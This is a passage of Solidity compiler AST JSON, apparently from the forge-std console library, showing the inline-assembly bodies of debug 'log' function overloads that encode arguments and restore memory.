1:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"284313:4:22","nodeType":"YulLiteral","src":"284313:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"284307:5:22","nodeType":"YulIdentifier","src":"284307:5:22"},"nativeSrc":"284307:11:22","nodeType":"YulFunctionCall","src":"284307:11:22"},"variableNames":[{"name":"m4","nativeSrc":"284301:2:22","nodeType":"YulIdentifier","src":"284301:2:22"}]},{"nativeSrc":"284331:17:22","nodeType":"YulAssignment","src":"284331:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"284343:4:22","nodeType":"YulLiteral","src":"284343:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"284337:5:22","nodeType":"YulIdentifier","src":"284337:5:22"},"nativeSrc":"284337:11:22","nodeType":"YulFunctionCall","src":"284337:11:22"},"variableNames":[{"name":"m5","nativeSrc":"284331:2:22","nodeType":"YulIdentifier","src":"284331:2:22"}]},{"nativeSrc":"284361:17:22","nodeType":"YulAssignment","src":"284361:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"284373:4:22","nodeType":"YulLiteral","src":"284373:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"284367:5:22","nodeType":"YulIdentifier","src":"284367:5:22"},"nativeSrc":"284367:11:22","nodeType":"YulFunctionCall","src":"284367:11:22"},"variableNames":[{"name":"m6","nativeSrc":"284361:2:22","nodeType":"YulIdentifier","src":"284361:2:22"}]},{"nativeSrc":"284391:17:22","nodeType":"YulAssignment","src":"284391:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"284403:4:22","nodeType":"YulLiteral","src":"284403:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"284397:5:22","nodeType":"YulIdentifier","src":"284397:5:22"},"nativeSrc":"284397:11:22","nodeType":"YulFunctionCall","src":"284397:11:22"},"variableNames":[{"name":"m7","nativeSrc":"284391:2:22","nodeType":"YulIdentifier","src":"284391:2:22"}]},{"nativeSrc":"284421:18:22","nodeType":"YulAssignment","src":"284421:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"284433:5:22","nodeType":"YulLiteral","src":"284433:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"284427:5:22","nodeType":"YulIdentifier","src":"284427:5:22"},"nativeSrc":"284427:12:22","nodeType":"YulFunctionCall","src":"284427:12:22"},"variableNames":[{"name":"m8","nativeSrc":"284421:2:22","nodeType":"YulIdentifier","src":"284421:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284524:4:22","nodeType":"YulLiteral","src":"284524:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"284530:10:22","nodeType":"YulLiteral","src":"284530:10:22","type":"","value":"0x9c3adfa1"}],"functionName":{"name":"mstore","nativeSrc":"284517:6:22","nodeType":"YulIdentifier","src":"284517:6:22"},"nativeSrc":"284517:24:22","nodeType":"YulFunctionCall","src":"284517:24:22"},"nativeSrc":"284517:24:22","nodeType":"YulExpressionStatement","src":"284517:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284561:4:22","nodeType":"YulLiteral","src":"284561:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"284567:2:22","nodeType":"YulIdentifier","src":"284567:2:22"}],"functionName":{"name":"mstore","nativeSrc":"284554:6:22","nodeType":"YulIdentifier","src":"284554:6:22"},"nativeSrc":"284554:16:22","nodeType":"YulFunctionCall","src":"284554:16:22"},"nativeSrc":"284554:16:22","nodeType":"YulExpressionStatement","src":"284554:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284590:4:22","nodeType":"YulLiteral","src":"284590:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"284596:4:22","nodeType":"YulLiteral","src":"284596:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"284583:6:22","nodeType":"YulIdentifier","src":"284583:6:22"},"nativeSrc":"284583:18:22","nodeType":"YulFunctionCall","src":"284583:18:22"},"nativeSrc":"284583:18:22","nodeType":"YulExpressionStatement","src":"284583:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284621:4:22","nodeType":"YulLiteral","src":"284621:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"284627:2:22","nodeType":"YulIdentifier","src":"284627:2:22"}],"functionName":{"name":"mstore","nativeSrc":"284614:6:22","nodeType":"YulIdentifier","src":"284614:6:22"},"nativeSrc":"284614:16:22","nodeType":"YulFunctionCall","src":"284614:16:22"},"nativeSrc":"284614:16:22","nodeType":"YulExpressionStatement","src":"284614:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284650:4:22","nodeType":"YulLiteral","src":"284650:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"284656:4:22","nodeType":"YulLiteral","src":"284656:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"284643:6:22","nodeType":"YulIdentifier","src":"284643:6:22"},"nativeSrc":"284643:18:22","nodeType":"YulFunctionCall","src":"284643:18:22"},"nativeSrc":"284643:18:22","nodeType":"YulExpressionStatement","src":"284643:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284686:4:22","nodeType":"YulLiteral","src":"284686:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"284692:2:22","nodeType":"YulIdentifier","src":"284692:2:22"}],"functionName":{"name":"writeString","nativeSrc":"284674:11:22","nodeType":"YulIdentifier","src":"284674:11:22"},"nativeSrc":"284674:21:22","nodeType":"YulFunctionCall","src":"284674:21:22"},"nativeSrc":"284674:21:22","nodeType":"YulExpressionStatement","src":"284674:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284720:4:22","nodeType":"YulLiteral","src":"284720:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"284726:2:22","nodeType":"YulIdentifier","src":"284726:2:22"}],"functionName":{"name":"writeString","nativeSrc":"284708:11:22","nodeType":"YulIdentifier","src":"284708:11:22"},"nativeSrc":"284708:21:22","nodeType":"YulFunctionCall","src":"284708:21:22"},"nativeSrc":"284708:21:22","nodeType":"YulExpressionStatement","src":"284708:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43182,"isOffset":false,"isSlot":false,"src":"284181:2:22","valueSize":1},{"declaration":43185,"isOffset":false,"isSlot":false,"src":"284211:2:22","valueSize":1},{"declaration":43188,"isOffset":false,"isSlot":false,"src":"284241:2:22","valueSize":1},{"declaration":43191,"isOffset":false,"isSlot":false,"src":"284271:2:22","valueSize":1},{"declaration":43194,"isOffset":false,"isSlot":false,"src":"284301:2:22","valueSize":1},{"declaration":43197,"isOffset":false,"isSlot":false,"src":"284331:2:22","valueSize":1},{"declaration":43200,"isOffset":false,"isSlot":false,"src":"284361:2:22","valueSize":1},{"declaration":43203,"isOffset":false,"isSlot":false,"src":"284391:2:22","valueSize":1},{"declaration":43206,"isOffset":false,"isSlot":false,"src":"284421:2:22","valueSize":1},{"declaration":43172,"isOffset":false,"isSlot":false,"src":"284567:2:22","valueSize":1},{"declaration":43174,"isOffset":false,"isSlot":false,"src":"284692:2:22","valueSize":1},{"declaration":43176,"isOffset":false,"isSlot":false,"src":"284627:2:22","valueSize":1},{"declaration":43178,"isOffset":false,"isSlot":false,"src":"284726:2:22","valueSize":1}],"id":43208,"nodeType":"InlineAssembly","src":"283803:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43210,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"284764:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":43211,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"284770:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":43209,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"284748:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43212,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"284748:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43213,"nodeType":"ExpressionStatement","src":"284748:28:22"},{"AST":{"nativeSrc":"284795:273:22","nodeType":"YulBlock","src":"284795:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"284816:4:22","nodeType":"YulLiteral","src":"284816:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"284822:2:22","nodeType":"YulIdentifier","src":"284822:2:22"}],"functionName":{"name":"mstore","nativeSrc":"284809:6:22","nodeType":"YulIdentifier","src":"284809:6:22"},"nativeSrc":"284809:16:22","nodeType":"YulFunctionCall","src":"284809:16:22"},"nativeSrc":"284809:16:22","nodeType":"YulExpressionStatement","src":"284809:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284845:4:22","nodeType":"YulLiteral","src":"284845:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"284851:2:22","nodeType":"YulIdentifier","src":"284851:2:22"}],"functionName":{"name":"mstore","nativeSrc":"284838:6:22","nodeType":"YulIdentifier","src":"284838:6:22"},"nativeSrc":"284838:16:22","nodeType":"YulFunctionCall","src":"284838:16:22"},"nativeSrc":"284838:16:22","nodeType":"YulExpressionStatement","src":"284838:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284874:4:22","nodeType":"YulLiteral","src":"284874:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"284880:2:22","nodeType":"YulIdentifier","src":"284880:2:22"}],"functionName":{"name":"mstore","nativeSrc":"284867:6:22","nodeType":"YulIdentifier","src":"284867:6:22"},"nativeSrc":"284867:16:22","nodeType":"YulFunctionCall","src":"284867:16:22"},"nativeSrc":"284867:16:22","nodeType":"YulExpressionStatement","src":"284867:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284903:4:22","nodeType":"YulLiteral","src":"284903:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"284909:2:22","nodeType":"YulIdentifier","src":"284909:2:22"}],"functionName":{"name":"mstore","nativeSrc":"284896:6:22","nodeType":"YulIdentifier","src":"284896:6:22"},"nativeSrc":"284896:16:22","nodeType":"YulFunctionCall","src":"284896:16:22"},"nativeSrc":"284896:16:22","nodeType":"YulExpressionStatement","src":"284896:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284932:4:22","nodeType":"YulLiteral","src":"284932:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"284938:2:22","nodeType":"YulIdentifier","src":"284938:2:22"}],"functionName":{"name":"mstore","nativeSrc":"284925:6:22","nodeType":"YulIdentifier","src":"284925:6:22"},"nativeSrc":"284925:16:22","nodeType":"YulFunctionCall","src":"284925:16:22"},"nativeSrc":"284925:16:22","nodeType":"YulExpressionStatement","src":"284925:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284961:4:22","nodeType":"YulLiteral","src":"284961:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"284967:2:22","nodeType":"YulIdentifier","src":"284967:2:22"}],"functionName":{"name":"mstore","nativeSrc":"284954:6:22","nodeType":"YulIdentifier","src":"284954:6:22"},"nativeSrc":"284954:16:22","nodeType":"YulFunctionCall","src":"284954:16:22"},"nativeSrc":"284954:16:22","nodeType":"YulExpressionStatement","src":"284954:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"284990:4:22","nodeType":"YulLiteral","src":"284990:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"284996:2:22","nodeType":"YulIdentifier","src":"284996:2:22"}],"functionName":{"name":"mstore","nativeSrc":"284983:6:22","nodeType":"YulIdentifier","src":"284983:6:22"},"nativeSrc":"284983:16:22","nodeType":"YulFunctionCall","src":"284983:16:22"},"nativeSrc":"284983:16:22","nodeType":"YulExpressionStatement","src":"284983:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"285019:4:22","nodeType":"YulLiteral","src":"285019:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"285025:2:22","nodeType":"YulIdentifier","src":"285025:2:22"}],"functionName":{"name":"mstore","nativeSrc":"285012:6:22","nodeType":"YulIdentifier","src":"285012:6:22"},"nativeSrc":"285012:16:22","nodeType":"YulFunctionCall","src":"285012:16:22"},"nativeSrc":"285012:16:22","nodeType":"YulExpressionStatement","src":"285012:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"285048:5:22","nodeType":"YulLiteral","src":"285048:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"285055:2:22","nodeType":"YulIdentifier","src":"285055:2:22"}],"functionName":{"name":"mstore","nativeSrc":"285041:6:22","nodeType":"YulIdentifier","src":"285041:6:22"},"nativeSrc":"285041:17:22","nodeType":"YulFunctionCall","src":"285041:17:22"},"nativeSrc":"285041:17:22","nodeType":"YulExpressionStatement","src":"285041:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43182,"isOffset":false,"isSlot":false,"src":"284822:2:22","valueSize":1},{"declaration":43185,"isOffset":false,"isSlot":false,"src":"284851:2:22","valueSize":1},{"declaration":43188,"isOffset":false,"isSlot":false,"src":"284880:2:22","valueSize":1},{"declaration":43191,"isOffset":false,"isSlot":false,"src":"284909:2:22","valueSize":1},{"declaration":43194,"isOffset":false,"isSlot":false,"src":"284938:2:22","valueSize":1},{"declaration":43197,"isOffset":false,"isSlot":false,"src":"284967:2:22","valueSize":1},{"declaration":43200,"isOffset":false,"isSlot":false,"src":"284996:2:22","valueSize":1},{"declaration":43203,"isOffset":false,"isSlot":false,"src":"285025:2:22","valueSize":1},{"declaration":43206,"isOffset":false,"isSlot":false,"src":"285055:2:22","valueSize":1}],"id":43214,"nodeType":"InlineAssembly","src":"284786:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"283547:3:22","parameters":{"id":43179,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43172,"mutability":"mutable","name":"p0","nameLocation":"283559:2:22","nodeType":"VariableDeclaration","scope":43216,"src":"283551:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43171,"name":"uint256","nodeType":"ElementaryTypeName","src":"283551:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43174,"mutability":"mutable","name":"p1","nameLocation":"283571:2:22","nodeType":"VariableDeclaration","scope":43216,"src":"283563:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43173,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283563:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43176,"mutability":"mutable","name":"p2","nameLocation":"283583:2:22","nodeType":"VariableDeclaration","scope":43216,"src":"283575:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43175,"name":"address","nodeType":"ElementaryTypeName","src":"283575:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43178,"mutability":"mutable","name":"p3","nameLocation":"283595:2:22","nodeType":"VariableDeclaration","scope":43216,"src":"283587:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43177,"name":"bytes32","nodeType":"ElementaryTypeName","src":"283587:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"283550:48:22"},"returnParameters":{"id":43180,"nodeType":"ParameterList","parameters":[],"src":"283613:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43256,"nodeType":"FunctionDefinition","src":"285080:1334:22","nodes":[],"body":{"id":43255,"nodeType":"Block","src":"285152:1262:22","nodes":[],"statements":[{"assignments":[43228],"declarations":[{"constant":false,"id":43228,"mutability":"mutable","name":"m0","nameLocation":"285170:2:22","nodeType":"VariableDeclaration","scope":43255,"src":"285162:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43227,"name":"bytes32","nodeType":"ElementaryTypeName","src":"285162:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43229,"nodeType":"VariableDeclarationStatement","src":"285162:10:22"},{"assignments":[43231],"declarations":[{"constant":false,"id":43231,"mutability":"mutable","name":"m1","nameLocation":"285190:2:22","nodeType":"VariableDeclaration","scope":43255,"src":"285182:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43230,"name":"bytes32","nodeType":"ElementaryTypeName","src":"285182:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43232,"nodeType":"VariableDeclarationStatement","src":"285182:10:22"},{"assignments":[43234],"declarations":[{"constant":false,"id":43234,"mutability":"mutable","name":"m2","nameLocation":"285210:2:22","nodeType":"VariableDeclaration","scope":43255,"src":"285202:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43233,"name":"bytes32","nodeType":"ElementaryTypeName","src":"285202:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43235,"nodeType":"VariableDeclarationStatement","src":"285202:10:22"},{"assignments":[43237],"declarations":[{"constant":false,"id":43237,"mutability":"mutable","name":"m3","nameLocation":"285230:2:22","nodeType":"VariableDeclaration","scope":43255,"src":"285222:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43236,"name":"bytes32","nodeType":"ElementaryTypeName","src":"285222:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43238,"nodeType":"VariableDeclarationStatement","src":"285222:10:22"},{"assignments":[43240],"declarations":[{"constant":false,"id":43240,"mutability":"mutable","name":"m4","nameLocation":"285250:2:22","nodeType":"VariableDeclaration","scope":43255,"src":"285242:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43239,"name":"bytes32","nodeType":"ElementaryTypeName","src":"285242:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43241,"nodeType":"VariableDeclarationStatement","src":"285242:10:22"},{"assignments":[43243],"declarations":[{"constant":false,"id":43243,"mutability":"mutable","name":"m5","nameLocation":"285270:2:22","nodeType":"VariableDeclaration","scope":43255,"src":"285262:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43242,"name":"bytes32","nodeType":"ElementaryTypeName","src":"285262:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43244,"nodeType":"VariableDeclarationStatement","src":"285262:10:22"},{"assignments":[43246],"declarations":[{"constant":false,"id":43246,"mutability":"mutable","name":"m6","nameLocation":"285290:2:22","nodeType":"VariableDeclaration","scope":43255,"src":"285282:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43245,"name":"bytes32","nodeType":"ElementaryTypeName","src":"285282:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43247,"nodeType":"VariableDeclarationStatement","src":"285282:10:22"},{"AST":{"nativeSrc":"285311:828:22","nodeType":"YulBlock","src":"285311:828:22","statements":[{"body":{"nativeSrc":"285354:313:22","nodeType":"YulBlock","src":"285354:313:22","statements":[{"nativeSrc":"285372:15:22","nodeType":"YulVariableDeclaration","src":"285372:15:22","value":{"kind":"number","nativeSrc":"285386:1:22","nodeType":"YulLiteral","src":"285386:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"285376:6:22","nodeType":"YulTypedName","src":"285376:6:22","type":""}]},{"body":{"nativeSrc":"285457:40:22","nodeType":"YulBlock","src":"285457:40:22","statements":[{"body":{"nativeSrc":"285486:9:22","nodeType":"YulBlock","src":"285486:9:22","statements":[{"nativeSrc":"285488:5:22","nodeType":"YulBreak","src":"285488:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"285474:6:22","nodeType":"YulIdentifier","src":"285474:6:22"},{"name":"w","nativeSrc":"285482:1:22","nodeType":"YulIdentifier","src":"285482:1:22"}],"functionName":{"name":"byte","nativeSrc":"285469:4:22","nodeType":"YulIdentifier","src":"285469:4:22"},"nativeSrc":"285469:15:22","nodeType":"YulFunctionCall","src":"285469:15:22"}],"functionName":{"name":"iszero","nativeSrc":"285462:6:22","nodeType":"YulIdentifier","src":"285462:6:22"},"nativeSrc":"285462:23:22","nodeType":"YulFunctionCall","src":"285462:23:22"},"nativeSrc":"285459:36:22","nodeType":"YulIf","src":"285459:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"285414:6:22","nodeType":"YulIdentifier","src":"285414:6:22"},{"kind":"number","nativeSrc":"285422:4:22","nodeType":"YulLiteral","src":"285422:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"285411:2:22","nodeType":"YulIdentifier","src":"285411:2:22"},"nativeSrc":"285411:16:22","nodeType":"YulFunctionCall","src":"285411:16:22"},"nativeSrc":"285404:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"285428:28:22","nodeType":"YulBlock","src":"285428:28:22","statements":[{"nativeSrc":"285430:24:22","nodeType":"YulAssignment","src":"285430:24:22","value":{"arguments":[{"name":"length","nativeSrc":"285444:6:22","nodeType":"YulIdentifier","src":"285444:6:22"},{"kind":"number","nativeSrc":"285452:1:22","nodeType":"YulLiteral","src":"285452:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"285440:3:22","nodeType":"YulIdentifier","src":"285440:3:22"},"nativeSrc":"285440:14:22","nodeType":"YulFunctionCall","src":"285440:14:22"},"variableNames":[{"name":"length","nativeSrc":"285430:6:22","nodeType":"YulIdentifier","src":"285430:6:22"}]}]},"pre":{"nativeSrc":"285408:2:22","nodeType":"YulBlock","src":"285408:2:22","statements":[]},"src":"285404:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"285521:3:22","nodeType":"YulIdentifier","src":"285521:3:22"},{"name":"length","nativeSrc":"285526:6:22","nodeType":"YulIdentifier","src":"285526:6:22"}],"functionName":{"name":"mstore","nativeSrc":"285514:6:22","nodeType":"YulIdentifier","src":"285514:6:22"},"nativeSrc":"285514:19:22","nodeType":"YulFunctionCall","src":"285514:19:22"},"nativeSrc":"285514:19:22","nodeType":"YulExpressionStatement","src":"285514:19:22"},{"nativeSrc":"285550:37:22","nodeType":"YulVariableDeclaration","src":"285550:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"285567:3:22","nodeType":"YulLiteral","src":"285567:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"285576:1:22","nodeType":"YulLiteral","src":"285576:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"285579:6:22","nodeType":"YulIdentifier","src":"285579:6:22"}],"functionName":{"name":"shl","nativeSrc":"285572:3:22","nodeType":"YulIdentifier","src":"285572:3:22"},"nativeSrc":"285572:14:22","nodeType":"YulFunctionCall","src":"285572:14:22"}],"functionName":{"name":"sub","nativeSrc":"285563:3:22","nodeType":"YulIdentifier","src":"285563:3:22"},"nativeSrc":"285563:24:22","nodeType":"YulFunctionCall","src":"285563:24:22"},"variables":[{"name":"shift","nativeSrc":"285554:5:22","nodeType":"YulTypedName","src":"285554:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"285615:3:22","nodeType":"YulIdentifier","src":"285615:3:22"},{"kind":"number","nativeSrc":"285620:4:22","nodeType":"YulLiteral","src":"285620:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"285611:3:22","nodeType":"YulIdentifier","src":"285611:3:22"},"nativeSrc":"285611:14:22","nodeType":"YulFunctionCall","src":"285611:14:22"},{"arguments":[{"name":"shift","nativeSrc":"285631:5:22","nodeType":"YulIdentifier","src":"285631:5:22"},{"arguments":[{"name":"shift","nativeSrc":"285642:5:22","nodeType":"YulIdentifier","src":"285642:5:22"},{"name":"w","nativeSrc":"285649:1:22","nodeType":"YulIdentifier","src":"285649:1:22"}],"functionName":{"name":"shr","nativeSrc":"285638:3:22","nodeType":"YulIdentifier","src":"285638:3:22"},"nativeSrc":"285638:13:22","nodeType":"YulFunctionCall","src":"285638:13:22"}],"functionName":{"name":"shl","nativeSrc":"285627:3:22","nodeType":"YulIdentifier","src":"285627:3:22"},"nativeSrc":"285627:25:22","nodeType":"YulFunctionCall","src":"285627:25:22"}],"functionName":{"name":"mstore","nativeSrc":"285604:6:22","nodeType":"YulIdentifier","src":"285604:6:22"},"nativeSrc":"285604:49:22","nodeType":"YulFunctionCall","src":"285604:49:22"},"nativeSrc":"285604:49:22","nodeType":"YulExpressionStatement","src":"285604:49:22"}]},"name":"writeString","nativeSrc":"285325:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"285346:3:22","nodeType":"YulTypedName","src":"285346:3:22","type":""},{"name":"w","nativeSrc":"285351:1:22","nodeType":"YulTypedName","src":"285351:1:22","type":""}],"src":"285325:342:22"},{"nativeSrc":"285680:17:22","nodeType":"YulAssignment","src":"285680:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"285692:4:22","nodeType":"YulLiteral","src":"285692:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"285686:5:22","nodeType":"YulIdentifier","src":"285686:5:22"},"nativeSrc":"285686:11:22","nodeType":"YulFunctionCall","src":"285686:11:22"},"variableNames":[{"name":"m0","nativeSrc":"285680:2:22","nodeType":"YulIdentifier","src":"285680:2:22"}]},{"nativeSrc":"285710:17:22","nodeType":"YulAssignment","src":"285710:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"285722:4:22","nodeType":"YulLiteral","src":"285722:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"285716:5:22","nodeType":"YulIdentifier","src":"285716:5:22"},"nativeSrc":"285716:11:22","nodeType":"YulFunctionCall","src":"285716:11:22"},"variableNames":[{"name":"m1","nativeSrc":"285710:2:22","nodeType":"YulIdentifier","src":"285710:2:22"}]},{"nativeSrc":"285740:17:22","nodeType":"YulAssignment","src":"285740:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"285752:4:22","nodeType":"YulLiteral","src":"285752:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"285746:5:22","nodeType":"YulIdentifier","src":"285746:5:22"},"nativeSrc":"285746:11:22","nodeType":"YulFunctionCall","src":"285746:11:22"},"variableNames":[{"name":"m2","nativeSrc":"285740:2:22","nodeType":"YulIdentifier","src":"285740:2:22"}]},{"nativeSrc":"285770:17:22","nodeType":"YulAssignment","src":"285770:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"285782:4:22","nodeType":"YulLiteral","src":"285782:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"285776:5:22","nodeType":"YulIdentifier","src":"285776:5:22"},"nativeSrc":"285776:11:22","nodeType":"YulFunctionCall","src":"285776:11:22"},"variableNames":[{"name":"m3","nativeSrc":"285770:2:22","nodeType":"YulIdentifier","src":"285770:2:22"}]},{"nativeSrc":"285800:17:22","nodeType":"YulAssignment","src":"285800:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"285812:4:22","nodeType":"YulLiteral","src":"285812:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"285806:5:22","nodeType":"YulIdentifier","src":"285806:5:22"},"nativeSrc":"285806:11:22","nodeType":"YulFunctionCall","src":"285806:11:22"},"variableNames":[{"name":"m4","nativeSrc":"285800:2:22","nodeType":"YulIdentifier","src":"285800:2:22"}]},{"nativeSrc":"285830:17:22","nodeType":"YulAssignment","src":"285830:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"285842:4:22","nodeType":"YulLiteral","src":"285842:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"285836:5:22","nodeType":"YulIdentifier","src":"285836:5:22"},"nativeSrc":"285836:11:22","nodeType":"YulFunctionCall","src":"285836:11:22"},"variableNames":[{"name":"m5","nativeSrc":"285830:2:22","nodeType":"YulIdentifier","src":"285830:2:22"}]},{"nativeSrc":"285860:17:22","nodeType":"YulAssignment","src":"285860:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"285872:4:22","nodeType":"YulLiteral","src":"285872:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"285866:5:22","nodeType":"YulIdentifier","src":"285866:5:22"},"nativeSrc":"285866:11:22","nodeType":"